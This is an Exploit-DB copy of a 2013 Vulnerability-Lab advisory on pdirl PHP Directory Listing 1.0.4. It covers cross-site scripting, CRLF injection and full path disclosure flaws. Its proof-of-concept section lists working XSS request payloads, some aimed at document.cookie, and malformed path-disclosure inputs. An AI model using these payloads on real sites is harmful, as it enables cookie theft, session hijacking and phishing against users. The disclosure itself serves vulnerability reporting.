Exploit-DB #29354
Description: pdirl PHP Directory Listing 1.0.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-11-01
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
pdirl PHP Directory Listing 1.0.4 - Cross Site Scripting Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1130


Release Date:
=============
2013-11-01


Vulnerability Laboratory ID (VL-ID):
====================================
1130


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
pdirl (PHPDirListing) is a tiny directory listing program. It is meant to be better looking and more useful than the 
directory listings produced by Apache. I didn`t want to reinvent the wheel so I looked for an existing PHP script and 
I ve found PHPDL by Greg Johnson, I added some features to it. (1.0.x is no longer based on PHPDL.)

(Copy of the Vendor Homepage: http://pdirl.newroots.de/ ) 


Abstract Advisory Information:
==============================
An independent Vulnerability Laboratory Researcher discovered multiple web vulnerabilities in the pdirl PHP Listing v1.0.4 web-application.


Vulnerability Disclosure Timeline:
==================================
2013-11-01:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Greg Johnson
Product: pdirl PHP Listing - Web Application 1.0.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities are detected in the official pdirl PHP Directory Listing web-application.
The vulnerability allows remote attackers to manipulate via GET method web-application to browser requests (client-side).

The client-side cross site scripting web vulnerability is located in the vulnerable index.php file and the id path value.
Remote attackers can manipulate the `index.php` file GET method request with the vulnerable ./pdirl path value to compromise 
client-side web application context.

Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, client-side 
phishing, client-side unauthorized external redirects and client-side manipulation of the contact formular module context.


Vulnerable Module(s):
				[+] .pdirl

Vulnerable File(s):
				[+] index.php

Vulnerable Path:
				[+] ../icons/
				[+] ../icons/default
				[+] ../template/
				[+] ../template/default
				[+] ../.pdirl/templates


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without privileged web application user 
account but with low user interaction. For demonstration or to reproduce ...

PoC: CS Cross Site Scripting 

GET /[PATH]/?"onmouseover='prompt(7331)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/icons/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/.pdirl/icons/default/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/?"onmouseover='prompt(document.cookie)'bad="> HTTP/1.1
GET /[PATH]/.pdirl/templates/default/?</title>1<ScRiPt>prompt(document.cookie)</ScRiPt> HTTP/1.1
GET /[PATH]/index.php/%22onmouseover%3d'prompt(document.cookie)'bad%3d%22> HTTP/1.1
GET /[PATH]/index.php?directory=.pdirl/templates/%22%20onmouseover%3dprompt(7331)%20bad%3d%22 HTTP/1.1


PoC: CRLF injection/HTTP Response Splitting
GET /[PATH]/index.php?directory=%0d%0a%20[CSRF:FORM:INJECT!]&sortkey=name


PoC: Full Path Disclosure Links
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&sortkey=name&sortorder=SORT_DESC HTTP/1.1
GET /[PATH]/index.php?directory='"\'\");|]*{%0d%0a<%00>%bf%27'&gosearch=Search... HTTP/1.1
GET /[PATH]/index.php?directory=./&gosearch='"\'\");|]*{%0d%0a<%00>%bf%27' HTTP/1.1
GET /[PATH]/index.php?directory=./?directory=./&search=..%c0%af HTTP/1.1


Security Risk:
==============
1.1
The security risk of the client-side cross site scripting web vulnerabilities are estimated as medium.

1.2
The security risk of the client-side cross site request forgery web vulnerability is estimated as medium(-).

1.3
The security risk of the full path disclosure issue is estimated as low.


Credits & Authors:
==================
lincoln.dll (linc0ln.dll@hotmail.com) [www.hackinq.pl]



Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability